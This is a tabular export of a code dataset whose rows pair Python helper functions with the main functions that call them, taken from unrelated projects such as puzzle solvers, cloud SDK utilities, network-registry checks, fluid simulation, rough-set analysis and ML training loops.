dependency
stringlengths
77
854k
docstring
stringlengths
0
4.39k
main
stringlengths
29
215k
def only(x): if type(x) in (list, tuple): x = set(x) assert len(x) == 1 return list(x)[0] def rows(): return [row(i) for i in range(height)] def columns(): return [column(i) for i in range(width)]
This function determines whether to return a row or column from a grid based on the starting position and direction. It calculates the direction index `d` by checking boundary conditions, then retrieves the corresponding row or column, applying reversal if needed. The result is a sliced list from the selected row or co...
def row_or_column(start, pos=None): if pos == None: pos = only([i for (i, j) in zip(start, (height, width)) if 0 <= i < j]) opts = [start[0] < 0, start[1] >= width, start[0] >= height, start[1] < 0] d = opts.index(True) if True in opts else orth_dir.index(start) return (rows() if d % 2 else colu...
def rot_locs(locs, d='right'): return normalize_locs([rot_loc(i, d) for i in locs]) def refl_locs(locs): return normalize_locs([(-i[0], i[1]) for i in locs]) def plus(x, d): return (x[0] + d[0], x[1] + d[1]) def inds(flat=True): if flat: return [(i, j) for i in range(height) for j in range(width...
The function `positioning` generates all unique valid positions by rotating and reflecting an initial set of coordinates (`locs`), combining them with index offsets, and filtering out-of-bound results. It returns sorted, deduplicated positions considering symmetry transformations (rotations/reflections) and spatial con...
def positioning(locs, refl=True): pos = [locs, rot_locs(locs), rot_locs(rot_locs(locs)), rot_locs(rot_locs(rot_locs(locs)))] if refl: pos += [refl_locs(i) for i in pos] r = [tuple(plus(j, k) for k in i) for i in pos for j in inds()] return sorted(set(i for i in r if all(in_bounds(j) for j in...
def eq(a, b): if type(a) == dict: assert type(b) == dict and set(a.keys()) == set(b.keys()) return And(*(eq(a[i], b[i]) for i in a)) elif type(a) in (list, tuple): assert len(a) == len(b) return And(*(eq(i, j) for (i, j) in zip(a, b))) else: return a == b def at(x, i)...
The function `same_regions` compares structural equivalence between two regions `r1` and `r2` by checking if the equality of element pairs at specified edges is consistent across both regions. It returns a list of boolean values indicating whether each edge's element relationships match between the regions.
def same_regions(r1, r2): return [eq(at(r1, i), at(r1, j)) == eq(at(r2, i), at(r2, j)) for (i, j) in edges()]
def construct_vars(f, prefix, shape, so_far=()): if type(shape) == int: return construct_vars(f, prefix, (shape,), so_far) elif not shape: return f(prefix + '-'.join(str(i) for i in so_far)) else: return [construct_vars(f, prefix, shape[1:], so_far + (i,)) for i in range(shape[0])] d...
The function constructs constraints for a region-based problem, defining variables for region sizes, distances, and edge usage. It enforces rules ensuring regions meet size conditions based on inclusion, adjacency, and connectivity. If `same_size` is True, it adds constraints to make connected regions of the same type ...
def get_sizes(included, base, nonbase, cs, same_size=True): rv = construct_vars(Int, cs + 'r', (height, width)) dist = construct_vars(Int, cs + 'd', (height, width)) edge_use = construct_edge_vars(Bool, cs + 'e', edges()) edge_size = construct_edge_vars(Int, cs + 'es', edges()) size = construct_vars...
def construct_vars(f, prefix, shape, so_far=()): if type(shape) == int: return construct_vars(f, prefix, (shape,), so_far) elif not shape: return f(prefix + '-'.join(str(i) for i in so_far)) else: return [construct_vars(f, prefix, shape[1:], so_far + (i,)) for i in range(shape[0])] d...
This function generates constraints to enforce connectivity between regions in a grid. It creates implications ensuring that if a region is included, it must be a base region or connected to a neighboring included region with a lower distance. Additional rectangular region constraints are added if specified. The functi...
def connected(rv, included, base, cs, **kwargs): diag = bool(kwargs.get('diag')) rect = bool(kwargs.get('rect')) dist = construct_vars(Int, cs, (height, width)) cons = [Implies(included(i), Or(base(i), *[And( included(j), eq(at(rv, i), at(rv, j)), at(dist, i) < at(dist, j) ) for j in neighbors(i...
def construct_edge_vars(f, prefix, edges): return {(i, j): f(prefix + 'e' + '-' + '-'.join(str(k) for k in i + j)) for (i, j) in edges} def edges(diag=False): return [(i, j) for i in inds() for j in neighbors(i, diag)] def InBounds(x): return And(0 <= x[0], x[0] < height, 0 <= x[1], x[1] < width) def neighb...
This function constructs constraints to model a path (cycle or non-cycle) in a grid, using edge variables and distance variables. It enforces valid connections, ensures start/end points for non-cycles, and applies bounds. Constraints include in-bounds checks, edge symmetry, and distance-based path validity. Returns con...
def path(circ, cs, return_dist=False): edge_vars = construct_edge_vars(Bool, cs, edges()) cons = [] if circ: root = Int(cs + 'rx'), Int(cs + 'ry') cons += [InBounds(root)] else: start = Int(cs + 'sx'), Int(cs + 'sy') end = Int(cs + 'ex'), Int(cs + 'ey') cons += [I...
def _accelerator_type_valid_for_framework( framework, py_version, accelerator_type=None, optimized_families=None ): """ Args: framework: py_version: accelerator_type: optimized_families: """ if accelerator_type is None: return False if py_version == "py2"...
The main task of the code is to generate an Amazon ECR image URI based on parameters like region, framework, instance type, and version. It determines the appropriate repository and tag by evaluating device type (CPU/GPU/accelerator), framework compatibility, and region-specific constraints, ensuring valid configuratio...
def create_image_uri( region, framework, instance_type, framework_version, py_version=None, account=None, accelerator_type=None, optimized_families=None, ): """Return the ECR URI of an image. Args: region (str): AWS region where the image is uploaded. framework (...
def find(fields=None, filters=None): "find" server = "registry.dn42.us" url = "/v1/reg/reg.objects" if fields is None: fields = [] if filters is None: filters = {} query = { "fields": ",".join(fields), "filter": ",".join([k + "=" + v for k, v in filters.items()]),...
The main task of the code is to validate whether an object (e.g., network, route, AS number) meets specific naming conventions, exists in the system, and is authorized by the specified maintainer. It checks for naming rules, existing entries, and hierarchical policies (e.g., open/closed policies, maintainer permissions...
def test_policy(obj_type, name, mntner): "test policy" log.debug([obj_type, name, mntner]) if obj_type in ["organisation", "mntner", "person", "role", "as-set", "schema", "dns", ...
def inetrange(inet): "inet range" ip, mask = inet.split("/") mask = int(mask) ip = to_num(ip) & (0xFFFFFFFF << 32 - mask) ip6 = ip4_to_ip6(ip) return inet6range("%s/%d" % (ip6, mask + 96)) def pretty_ip(addr): "pretty ip" if addr.startswith("00000000000000000000ffff"): addr = add...
The code performs a sanity check to verify if the CIDR range derived from a domain object's schema matches the expected range specified in the file. It handles both IPv4 (`dn42.inetnum`) and IPv6 (`dn42.inet6num`) schemas, comparing computed ranges with file data. If mismatches occur, it logs errors and returns "FAIL";...
def sanity_check(dom): "sanity check" ck = "PASS" if dom.schema == "dn42.inetnum": cidr = dom.get("cidr") Lnet, Hnet, _ = inetrange(cidr) cidr_range = pretty_ip(Lnet) + "-" + pretty_ip(Hnet) file_range = dom.get("inetnum") file_range = re.sub(r"\s+", "", file_range, f...
def main(infile, schema): "main command" log.debug("Check File: %s" % (infile)) f = FileDOM(infile) if schema is not None: f.schema = schema else: f.schema = "schema/" + f.schema if f.schema is None: log.error("Schema is not defined for file") return False ...
The code defines a `run` function that processes command-line arguments to execute various operations like file validation, schema checking, indexing, scanning, formatting, policy testing, and route matching. It adjusts logging levels based on verbosity flags, performs data validation, and handles specific commands by ...
def run(args): "run" if args["merge_output"]: log.OUTPUT = sys.stdout if args["doubleVerbose"]: log.default.level_console = log.VERB_DEBUG log.default.level_full = True if args["verbose"]: log.default.level_console = log.VERB_INFO log.debug(args) valid = True ...
def run_long_running(params, is_test=False): certificate: str = params.get('certificate', '') private_key: str = params.get('private_key', '') certificate_path = str() private_key_path = str() try: port = get_params_port(params) ssl_args = dict() if (certificate and not pr...
The main task of the code is to parse and validate integration parameters, check credentials, and execute GitHub-related commands based on the input. It handles commands like `long-running-execution`, `github-set-context`, `github-get-context`, and `github-import-delivery`, calling corresponding functions and returning...
def main(): """ PARSE AND VALIDATE INTEGRATION PARAMS """ params = demisto.params() credentials = params.get('credentials') if params.get('credentials') else {} username: str = credentials.get('identifier', '') password: str = credentials.get('password', '') if (username and not pas...
def get_random_string(length, spaces=True, special=True): chars = string.ascii_letters + string.digits if special: chars += ':.-_' if spaces: chars += ' ' # We want random strings that don't end in spaces - Exchange strips these res = ''.join(map(lambda i: random.choice(chars), range...
The code generates random values based on the specified `field_type` for testing or mocking purposes. It returns randomized data like strings, integers, URLs, dates, emails, and structured objects (e.g., `Mailbox`, `Attendee`). For list types (e.g., `[str]`), it creates lists of random elements. Special handling ensure...
def random_val(self, field_type): if field_type == ExternId: return get_random_string(255) if field_type == str: return get_random_string(255) if field_type == AnyURI: return get_random_url() if field_type == [str]: return [get_random_strin...
def get_random_datetime_range(): # Create two random datetimes. Calendar items raise ErrorCalendarDurationIsTooLong if duration is > 5 years. dt1 = get_random_datetime() dt2 = dt1 + datetime.timedelta(minutes=random.randint(0, 60*24*365*5)) return dt1, dt2 def get_random_choice(choices): return rand...
This function generates random keyword arguments for inserting items, excluding read-only fields and specific attributes like 'resources'. It handles datetime ranges for 'start/end' and 'start_date/due_date', sets 'status' with non-completed values, and assigns random choices or values based on field types, ensuring mu...
def get_random_insert_kwargs(self): insert_kwargs = {} for f in self.ITEM_CLASS.fieldnames(): if f in self.ITEM_CLASS.readonly_fields(): # These cannot be created continue if f == 'resources': # The test server doesn't have any reso...
def get_random_datetime_range(): # Create two random datetimes. Calendar items raise ErrorCalendarDurationIsTooLong if duration is > 5 years. dt1 = get_random_datetime() dt2 = dt1 + datetime.timedelta(minutes=random.randint(0, 60*24*365*5)) return dt1, dt2 def get_random_datetime(start_date=datetime.dat...
This function generates random update parameters for a task/item by iterating over its fields, excluding read-only and specific fields. It handles date ranges, boolean inversion, random choices, and toggles for mailbox/attendee fields, ensuring valid updates while respecting constraints like completed status and date o...
def get_random_update_kwargs(self, insert_kwargs): update_kwargs = {} now = UTC_NOW() for f in self.ITEM_CLASS.fieldnames(): if f in self.ITEM_CLASS.readonly_fields(): # These cannot be changed continue if f == 'resources': ...
def entropy(rows): # compute the entropy. entries = class_counts(rows) avg_entropy = 0 size = float(len(rows)) for label in entries: prob = entries[label] / size avg_entropy = avg_entropy + (prob * math.log(prob, 2)) return -1*avg_entropy def partition(rows, question): #Parti...
The function identifies the optimal feature-value split in a dataset to maximize information gain, crucial for decision tree construction. It evaluates all possible splits, calculates their information gain, and returns the split with the highest gain along with the corresponding question, aiding in recursive data part...
def find_best_split(rows, header): # iterating over every feature / value best_gain = 0 # to track the best information gain best_question = None current_uncertainty = entropy(rows) n_features = len(rows[0]) - 1 # number of columns for col in range(n_features): # for each feature val...
def find_best_split(rows, header): # iterating over every feature / value best_gain = 0 # to track the best information gain best_question = None current_uncertainty = entropy(rows) n_features = len(rows[0]) - 1 # number of columns for col in range(n_features): # for each feature val...
The function `build_tree` recursively constructs a decision tree by selecting the best feature to split the data, partitioning rows into true/false branches, and creating nodes until no further information gain is possible. It returns a `Decision_Node` with the split question, child branches, depth, and node ID, or a `...
def build_tree(rows, header, depth=0, id=0): gain, question = find_best_split(rows, header) # Base case: no further info gain # we'll return a leaf. if gain == 0: return Leaf(rows, id, depth) true_rows, false_rows = partition(rows, question) # Recursively build the true branch. tr...
def get_session_token(): # and open log files global textlog #,htmllog,url username=USERNAME password=PASSWORD data = {"method": "exec", "params": [{"data": {"passwd": password, "user": username}, "url": "sys/login/user"}], "session": "null"} s = api_call( data ) if s != "": textlog=ope...
The code processes input data to update a firewall policy in a network device. It parses POST data, extracts parameters, constructs API URLs using session tokens, and sends update requests. It handles package/block names, validates configurations, and logs operation results with status information.
def do_it(postdata): global sid data={} for item in postdata: key=item[:item.find("=")] value=item[item.find("=")+1:].replace('"','') if key == "changes": v=value.split(",") value={} for i in v: k=i[:i.find("=")] v=i...
def checkLoad(self): if self.img is None: raise ValueError("Image is not loaded yet") def resize(self, size: tuple): self.checkLoad() self.img_pil = self.img_pil.resize(size, Image.BICUBIC) self.getNumpy(self.img_pil) return self def getNumpy(self, arr): self....
The main task of the code is to resize an image by a specified scale factor and convert it to a numpy array. It calculates new dimensions based on the scale, resizes the image, converts it to a numpy array using `getNumpy()`, and returns the modified object.
def rescale(self, scale: float): self.checkLoad() new_height, new_width = int(self.bh*scale), int(self.bw*scale) self.resize((new_height, new_width)) self.getNumpy(self.img_pil) return self
def load_from_path(self, path: str): self.img_pil = Image.open(path) self.getNumpy(self.img_pil) def load_from_tensor(self, tensor: th.Tensor): self.img = tensor if tensor.shape[0] == 1: self.img = self.img.squeeze(0) self.img.permute(1, 2, 0) self.getNumpy(se...
This code loads data from various sources (path, tensor, numpy array, or PIL Image) into an image object, standardizes its format by extending channels if needed, and sets the image dimensions (height and width) for further processing.
def load(self, loc: Any): if isinstance(loc, str): self.load_from_path(loc) elif isinstance(loc, th.Tensor): self.load_from_tensor(loc) elif isinstance(loc, np.ndarray): self.load_from_numpy(loc) elif isinstance(loc, Image.Image): self.getN...
def checkLoad(self): if self.img is None: raise ValueError("Image is not loaded yet") def rescale(self, scale: float): self.checkLoad() new_height, new_width = int(self.bh*scale), int(self.bw*scale) self.resize((new_height, new_width)) self.getNumpy(self.img_pil) ...
The method `downAndUpSample` adjusts the scale of an object by first verifying its load status, then rescaling it using the provided `scale` factor, followed by resizing it to predefined dimensions (`bh`, `bw`). It returns the modified instance for potential further operations.
def downAndUpSample(self, scale: float): self.checkLoad() self.rescale(scale) self.resize((self.bh, self.bw)) return self
def start_from(): file_1 = open('pagination_id_list.json', 'r') ids = json.load(file_1) file_1.close() return ids[0] def client_validation(key, secret): client = Client(key, secret) return client def get_check_list(client): account = client.get_account('BTC') file = open('id.json', 'w') ...
The code processes Bitcoin transactions and notifications by validating client credentials, retrieving transaction lists, parsing data, saving results, fetching notifications, and printing account balance. It handles API interactions, data storage, and status checks for transaction tracking and alert management.
def run(): sf = start_from() c_valid = client_validation(api_key, secret_key) btc_id = get_check_list(c_valid) txs_list = get_tx_list(c_valid, btc_id, sf) save_tx_list(txs_list) parse_tx_list(txs_list) new_lst = get_notification_list(notification_url) save_pagination_id(txs_list) sav...
def start_from(): print('starting new round....') file_1 = open('pagination_id_list.json', 'r') ids = json.load(file_1) file_1.close() return ids[0] def client_validation(key, secret): print('validating client....') client = Client(key, secret) return clie...
The code continuously fetches and processes transaction data from a blockchain API, validates client credentials, parses transaction lists, retrieves notifications from a URL, saves pagination IDs and notifications, and logs progress. It runs in an infinite loop with error handling to restart on failure, tracking execu...
def run(): notification_url = "https://ponzi.herokuapp.com/api/notifications_list" x = 0 while True: try: a = time.time() sf = start_from() c_valid = client_validation(api_key, secret_key) btc_id = get_check_list(c_valid...
def loop_1_fast(current: Valve, minute: int, opened: set): if minute <= 0: return 0 best = 0 #for valve in current.other: for valve in non_zero_valves: dist = valve_distM[current.name, valve.name] if dist > 0: best = max(best, loop_1_fast(valve, minute-dist, opened))...
The code benchmarks three functions (`loop_1_fast`, `loop`, `loop_2`) by executing them with varying parameters, measuring their execution time, and printing the total release value and duration. It initializes `aa` from the first element of `valves`, runs each function with specific arguments (e.g., 30, 26), and compa...
def part1(valves): aa = valves[0] ss = time.perf_counter() trip = loop_1_fast(aa, 30, frozenset()) # Part1: 2080 print(f'Total release (Part1): {trip}') print(f'> {(time.perf_counter() - ss):.3f}') ss = time.perf_counter() trip = loop(aa, 30, frozenset()) # Part1: 2080 print(f'Total ...
def get_authorization(google_client_id, google_client_secret): scope = "https://mail.google.com/" print('Navigate to the following URL to auth:', generate_permission_url(google_client_id, scope)) authorization_code = input('Enter verification code: ') response = call_authorize_tokens(google_client_id, g...
The code retrieves a One-Time Password (OTP) from the first email in a Gmail INBOX using OAuth2 authentication. It fetches the email content, decodes the text, extracts the OTP by locating the word "is" and parsing the subsequent value, then deletes all emails and logs out, returning the OTP.
def get_otp(fromaddr): if GOOGLE_REFRESH_TOKEN is None: print('No refresh token found, obtaining one') refresh_token, access_token, expires_in = get_authorization(GOOGLE_CLIENT_ID, GOOGLE_CLIENT_SECRET) print('Set the following as your GOOGLE_REFRESH_TOKEN in oauthcredentials.txt:', refresh_...
def boardcast_transactions(self): nodes = [node for node in self.nodes] for node in nodes: response = requests.get('http://'+ node +'/get_transactions') if response.status_code == 200: t = response.json()['transactions'] for it in t: ...
The main task of the code is to mine a new block by synchronizing unconfirmed transactions, generating a block reward, performing proof-of-work, adding the block to the chain, and propagating updates to network nodes for consensus and difficulty synchronization.
def mine(self, mywallet) : self.boardcast_transactions() # retrieve TXs and sync mempool with neighboring nodes before creating interest / Block_reward init = datetime.datetime.now() transaction_num = len(self.chain) if (transaction_num %10 == 0 and transaction_num): ...
def insertion_sort(array): for i in range(1, len(array)): key = array[i] j = i - 1 while j >= 0 and key < array[j]: array[j + 1] = array[j] j -= 1 array[j + 1] = key def selection_sort(array): for i in range(len(array)): mindex = i starti...
The function benchmarks sorting algorithms by generating a list (ordered, reversed, or random), applying the specified algorithm, timing its execution, verifying correctness, and returning the elapsed time. It prints results if enabled, comparing the sorted output to the expected sorted list.
def benchmark(n, sorting_algorithm, order_type, pt=True): unsorted_list = [] for i in range(n): if order_type == OrderTypes.ORDERED: unsorted_list.append(i) elif order_type == OrderTypes.REVERSED: unsorted_list.append(n - i - 1) elif order_type == OrderTypes.RAN...
def compute_homography(mp_src, mp_dst, inliers_percent, max_err): """ :param mp_src: A variable containing 2 rows and N columns, where the i column represents coordinates of match point i in the src image. :param mp_dst: A variable containing 2 rows and N columns, where the i column represents coord...
The function generates a panorama by mapping a source image to a destination image using homography. It calculates forward and backward homography matrices, determines the panorama's dimensions, and applies bilinear interpolation to blend the source image into the destination, creating a combined image.
def panorama(img_src, img_dst, mp_src, mp_dst, inliers_percent, max_err): """ :param img_src: Source image expected to undergo projective transformation. :param img_dst: Destination image to which the source image is being mapped to. :param mp_src: A variable containing 2 rows and N columns, where the i...
def func(one, compu): global score_comp , score_user if one == "Rock" and compu == "Scissor": score_user += 1 # print("You Won a point") game(score_user, score_comp) elif one == "Paper" and compu == "Rock": score_user += 1 # print("You Won a point") ...
The code implements a Rock-Paper-Scissors game using Pygame. It initializes three clickable options (Rock, Paper, Scissors) as Rect objects, handles mouse clicks to determine user choices, randomly selects a computer move, and updates the game state. The loop processes events, checks for collisions with the selected op...
def main(): roc = pygame.Rect(50, 80, Rock_w, Rock_h) pap = pygame.Rect(320 , 80, Paper_w, Paper_h) sciss = pygame.Rect(580,80, Scissor_w, Scissor_h) clock = pygame.time.Clock() handled = False run = True while run: clock.tick(FPS) for event in pygame.event.get(): ...
def reduce(self, p: ti.template(), q: ti.template()): self.sum[None] = 0.0 for i, j in ti.ndrange(self.m, self.n): if self.cell_type[i, j] == utils.FLUID: self.sum[None] += p[i, j] * q[i, j] def v_cycle(self): self.z[0].fill(0.0) for l in range(self.multigrid_...
This code implements an iterative solver for a linear system Ax = b using a preconditioned conjugate gradient-like method. It initializes residual vectors, performs V-cycles for preconditioning, computes search directions (s), updates solution estimates (p), and iterates until the residual norm (rTr) falls below a tole...
def solve(self, max_iters): tol = 1e-12 self.p.fill(0.0) self.As.fill(0.0) self.s.fill(0.0) self.r[0].copy_from(self.b) self.reduce(self.r[0], self.r[0]) init_rTr = self.sum[None] print("init rTr = {}".format(init_rTr)) if init_rTr < tol: ...
def scatter_face_u(xp, vp, cp, PFT, kp): stagger = vec2(0.0, 0.5) e = vec2(1.0, 0.0) inv_dx = vec2(inv_grid_x, inv_grid_y).cast(ti.f32) # inv_dx = vec2(1.0 / grid_x, 1.0 / grid_y).cast(ti.f32) base = (xp * inv_dx - (stagger + 0.5)).cast(ti.i32) fx = xp * inv_dx - (base.cast(ti.f32) + stagger) ...
The main task of the code is to compute and scatter particle-based stress tensors to grid faces and cells in a fluid simulation. It calculates deformation gradients, computes elastic forces using SVD decomposition, and applies these forces to grid elements via scatter_face_u/v and scatter_cell functions for grid-based ...
def P2G(): # stagger_u = vec2(0.0, 0.5) # stagger_v = vec2(0.5, 0.0) for p in ti.grouped(particle_positions): if particle_type[p] == P_FLUID: xp = particle_positions[p] # par_F = particle_Fe[p] @ particle_Fp[p] par_Fe = particle_Fe[p] par_Je = par_Fe.d...
def gather_vp_u(xp): stagger = vec2(0.0, 0.5) inv_dx = vec2(1.0 / grid_x, 1.0 / grid_y).cast(ti.f32) base = (xp * inv_dx - (stagger + 0.5)).cast(ti.i32) fx = xp * inv_dx - (base.cast(ti.f32) + stagger) # w = [0.5*(1.5-fx)**2, 0.75-(fx-1)**2, 0.5*(fx-0.5)**2] # Bspline # tight quadratic stencil ...
This function updates fluid particle properties by gathering velocity (u, v), concentration (c), and temperature (T) values from their positions. It assigns these values to particle attributes, using staggered grid offsets, and stores previous temperature values for potential time-step calculations in fluid simulations...
def G2P(): stagger_u = vec2(0.0, 0.5) stagger_v = vec2(0.5, 0.0) for p in ti.grouped(particle_positions): if particle_type[p] == P_FLUID: # update velocity xp = particle_positions[p] u_pic = gather_vp_u(xp) v_pic = gather_vp_v(xp) """ ...
def gather_vp_grad_u(xp): stagger = vec2(0.0, 0.5) e = vec2(1.0, 0.0) inv_dx = vec2(1.0 / grid_x, 1.0 / grid_y).cast(ti.f32) base = (xp * inv_dx - (stagger + 0.5)).cast(ti.i32) fx = xp * inv_dx - (base.cast(ti.f32) + stagger) # w = [0.5*(1.5-fx)**2, 0.75-(fx-1)**2, 0.5*(fx-0.5)**2] # Bspline ...
This function updates the deformation gradient (Fe) for fluid particles by computing velocity gradients from neighboring particles, ensuring numerical stability through iterative adjustments, and applying the updated gradient to maintain valid deformation states. It handles potential errors and enforces incompressibili...
def update_deformation_gradient(): # stagger_u = vec2(0.0, 0.5) # stagger_v = vec2(0.5, 0.0) for p in ti.grouped(particle_positions): if particle_type[p] == P_FLUID: xp = particle_positions[p] vp_grad = ti.Matrix.zero(ti.f32, 2, 2) vp_grad += gather_vp_grad_u(xp) ...
def read_data(): lines = open("data/day13.txt", "r").read().split("\n") pairs = [] pair = [] for line in lines: if line == "": pairs.append(pair) pair = [] else: pair.append(ast.literal_eval(line)) return pairs def check_order(value1, value2): ...
The code processes a list of packet pairs to determine their correct order, sums indices of correctly ordered pairs, sorts the packets (with added [[2]] and [[6]]), and computes the product of their positions as the decoder key. It first evaluates each pair, tracks valid indices, constructs a sorted list, locates [[2]]...
def part1_2(): pairs = read_data() correct_order = 0 list_of_correct_idx = [] for idx, pair in enumerate(pairs): cont, res = check_order(pair[0], pair[1]) correct_order += res if res == 1: list_of_correct_idx.append(idx + 1) print(f"sum of correct pair idx: {np.su...
def get_LSA(setA, partitionP): #print("lsa partition ", partitionP) vector = is_superset(setA, partitionP) #print("vector ", vector) LSA = set() i = 0 for p in partitionP: if (vector[i] == 1): LSA = LSA | set(p) #print("LSA ", LSA) i = i + 1 return LSA def get_USA(setA, partitionP): ...
The function `get_approximations` computes four distinct approximations (LSA, USA, BNA, NGA) using the input DataFrame `df`, set `setA`, and parameter `P`. It calls four helper functions to derive each approximation, aggregates them into a list, and returns the list. The task involves generating and combining these app...
def get_approximations(df, setA, P): LSA= get_LSA(setA, P) USA= get_USA(setA, P) BNA= get_BNA(setA, P) NGA= get_NGA(df, setA, P) approximations = [LSA, USA, BNA, NGA] return approximations
def get_table(self): df = pd.read_csv(self.filename, delimiter = " ") df.set_index(['ID'], inplace=True) return df def get_discernibility_matrix(self): df = self.get_table() U = df.index.values.tolist() discernibility_list = [] for u in U: discernibility_list.append(self.get_discerni...
This function identifies attributes that can be deleted from a dataset based on a discernibility matrix. It retrieves the dataset and matrix, then determines which attributes are not essential for distinguishing instances. If the matrix contains discernible elements, attributes not involved in these are marked for dele...
def get_del_attributes(self): df = self.get_table() m = self.get_discernibility_matrix() l1 = self.get_possible_elements(m, 1) #print(l1) A = set(df.columns[:-1].values.tolist()) del_attributes = set() if ( len(l1) > 0 ): for l in l1: for a in A: if ( l != {a}...
def get_table(self): df = pd.read_csv(self.filename, delimiter = " ") df.set_index(['ID'], inplace=True) return df def get_discernibility_matrix(self): df = self.get_table() U = df.index.values.tolist() discernibility_list = [] for u in U: discernibility_list.append(self.get_discerni...
The function computes the minimal discernibility matrix by iteratively removing specified attributes from the initial discernibility matrix, applying matrix absorption after each deletion, and returning the final matrix as a list of values.
def min_discernibility_matrix(self, del_attributes): df = self.get_table() dm = self.get_discernibility_matrix() #print("initial dm\n", dm) for a in del_attributes: #print("attribute ", a) spec_dm = self.attribute_set_deletion(dm, {a}) #print("dm after deletition \n", spec_dm) ...
def get_partition(self, attribute): df = self.get_table() attribute_values = df[['ID', attribute]].values.tolist() #print(attribute_values) attribute_types = np.unique(df[attribute].values.tolist()) #print(attribute_types) partition = [] temp = [] for t in attribute_types: for i...
This code computes and returns the cardinalities of several sets derived from a given attribute and universe set U. It calculates the sizes of the original set A, universe U, lower/upper approximations (LSA/USA), boundary region (BNA), and non-approximated region (NGA) using helper methods. The results are returned as ...
def cardinality_sets(self, attribute, U): P = self.get_partition(attribute) LSA, USA = self.f_LUSA(self.A, P) n_A = self.get_cardinality(A) n_U = self.get_cardinality(U) n_LSA = self.get_cardinality(LSA) n_USA = self.get_cardinality(USA) n_BNA = self.get_cardinality(self.get_BNA(P)) ...
def get_LSA(self, partitionP): vector = self.is_superset(partitionP) LSA = set() for index, v in enumerate(vector): if (v == 1): LSA = self.union(LSA, set(partitionP[index])) return LSA def get_BNA(self, P): LSA, USA = self.f_LUSA(self.A, P) BNA = self.set_difference(USA, LSA) ...
The main task of the code is to verify whether the three sets LSA, BNA, and NGA form a valid partition of the universal set U. It checks if these sets are pairwise disjoint (no overlapping elements) and their union equals U. If both conditions are satisfied, the function returns True; otherwise, it returns False.
def verify_partition(self, A, P, U): self.A = A LSA = self.get_LSA(P) BNA = self.get_BNA(P) NGA = self.get_NGA(P, U) if ( ( len( LSA & BNA ) == 0 ) and ( len( BNA & NGA ) == 0 ) and ( len( NGA & LSA ) == 0 ) and ( LSA | BNA | NGA == U )): return True else: return False
def get_table(self): df = pd.read_csv(self.filename, delimiter = " ") df.set_index(['ID'], inplace=True) return df def get_IND(self, attribute_set): df = self.get_table() attribute_list = list(attribute_set) attribute_values = list(zip( df.index.values.tolist(), df[attribute_list].values.tolis...
This code checks if two elements x and y, which belong to the same equivalence class under the given attribute set, have identical BF (possibly "basic feature" or "boundary function") values in the dataset. If their BF values match, it returns True; otherwise, False.
def check_bf_property(self, attribute_set, x, y): df = self.get_table() IND = self.get_IND(attribute_set) x_R = self.get_eq_class(attribute_set, x) #print("x_R ", x_R) if y in x_R: #print("BF x", BF(df, x)) #print("BF y", BF(df, y)) if (self.BF(df, x) == self.BF(df, y)): ...
def get_del_attributes(self): df = self.get_table() m = self.get_discernibility_matrix() l1 = self.get_possible_elements(m, 1) #print(l1) A = set(df.columns[:-1].values.tolist()) del_attributes = set() if ( len(l1) > 0 ): for l in l1: for a in A: if ( l != {a}...
The code computes minimal reducts by generating all subsets of deletable attributes, calculating their discernibility matrices, and selecting the smallest unique sets that maintain data distinguishability. It returns these minimal reducts as the optimal attribute subsets to remove.
def compute_reduct(self): del_attributes = self.get_del_attributes() #print("del attributes ", del_attributes) possible_reducts = [] del_attributes = self.power_set(self.get_del_attributes()) possible_reducts = [] for d in del_attributes: if (len(d) > 0): #print("min dm ", min...
def get_partitions(df, attribute_set): B, B1, B2, D, D1, D2, d = get_concepts(df, attribute_set) P = get_partition(df, B) P1 = get_partition(df, B1) P2 = get_partition(df, B2) Q = get_partition(df, D) Q1 = get_partition(df, D1) Q2 = get_partition(df, D2) S = get_partition(df, d) return [P, P1, P2, ...
This function calculates the accuracy of approximations for six different partitions (P, P1, P2, Q, Q1, Q2) derived from a dataset and attribute set. It uses `get_partitions` to obtain original partitions and `run_approximations` to generate their approximated versions, then evaluates each approximation's accuracy usin...
def run_approximations_accuracy(df, attribute_set): P, P1, P2, Q, Q1, Q2, S = get_partitions(df, attribute_set) P_appr, P1_appr, P2_appr, Q_appr, Q1_appr, Q2_appr = run_approximations(df, attribute_set) return [ approx_accuracy(P_appr), approx_accuracy(P1_appr), approx_accuracy(P2_appr), approx_accur...
def global_absolute_cp(data, resolution): NUM_PLOTS = np.size(data, axis=0) NUM_POINTS = np.size(data, axis=1) NUM_DIMS = np.size(data, axis=2) flat_data = get_global_1D_data(data) cut_points = [] if isinstance(resolution, (int)): min = np.amin(flat_data, axis=0) max = np.amax(f...
The function `hypervoxelate` transforms 3D input data into a hypercube representation by binning each dimension based on specified cut points (global or local). It converts data values to bin rankings, flattens coordinates into a single integer per point, and reshapes them into a multi-dimensional hypercube. The proces...
def hypervoxelate(data, cut_points="global_absolute", side="left", resolution=-1): NUM_PLOTS = np.size(data, axis=0) NUM_POINTS = np.size(data, axis=1) NUM_DIMS = np.size(data, axis=2) # Default cut point modes if isinstance(cut_points, (str)): if resolution == -1: raise ValueEr...
def get_optimizer(model, params): optimizer = None if params["optimizer"] == "Adam": optimizer = torch.optim.Adam( model.parameters(), lr = params["lr"], ) else: raise Exception(f'Optimizer {params["optimizer"]} is not supported!') return optimizer def get_save_paths(params): prefix = f'{params["ch...
This function trains a model for a specified number of epochs, optionally resuming from a checkpoint. It performs training and evaluation phases, tracks losses and IoU metrics, updates statistics, and saves model checkpoints and training logs after each epoch.
def train_model(model, train_dataloader, eval_dataloader, device, params): model.train() start_epoch = 1 optimizer = get_optimizer(model, params) model_path, train_stat_path = get_save_paths(params) if params["resume_training"] and os.path.exists(model_path): model_details = torch.load(model_path) start_epo...
def create_dir_model(location, new_folder_name): # creating directory based on argument model_location = location+new_folder_name+"/" if not os.path.exists(model_location): os.makedirs(model_location) return model_location def get_mvdt_model_info(model): n_nodes, max_depth, leaf_nodes = prin...
The main task of the code is to evaluate a machine learning model by fitting it on training data, saving the trained model and its structural details (e.g., node counts, depth), and storing evaluation results including runtime. It handles different algorithms (e.g., "lr_mvdt", "rs_mvdt") by generating unique file names...
def evaluation(dataset_name, data_location, filename, k_fold, d2v_vec_size, algorithm, epochs, min_leaf_point, n_features, run, train_data, test_data): print("Fitting on, dataset: {}, filename: {}, k_fold: {}, vector_size: {}," " algorithm: {}, epochs: {}, depth: {}, n_feature: {}, run: {}...
def quantize_to_nth(midi: MidiFile, nth: int): ticks_per_nth = midi.ticks_per_beat / (nth // 4) for track in midi.instruments: for n in track.notes: n.start = tick_to_nth(n.start, ticks_per_nth) n.end = tick_to_nth(n.end, ticks_per_nth) if n.end == n.start: # to preve...
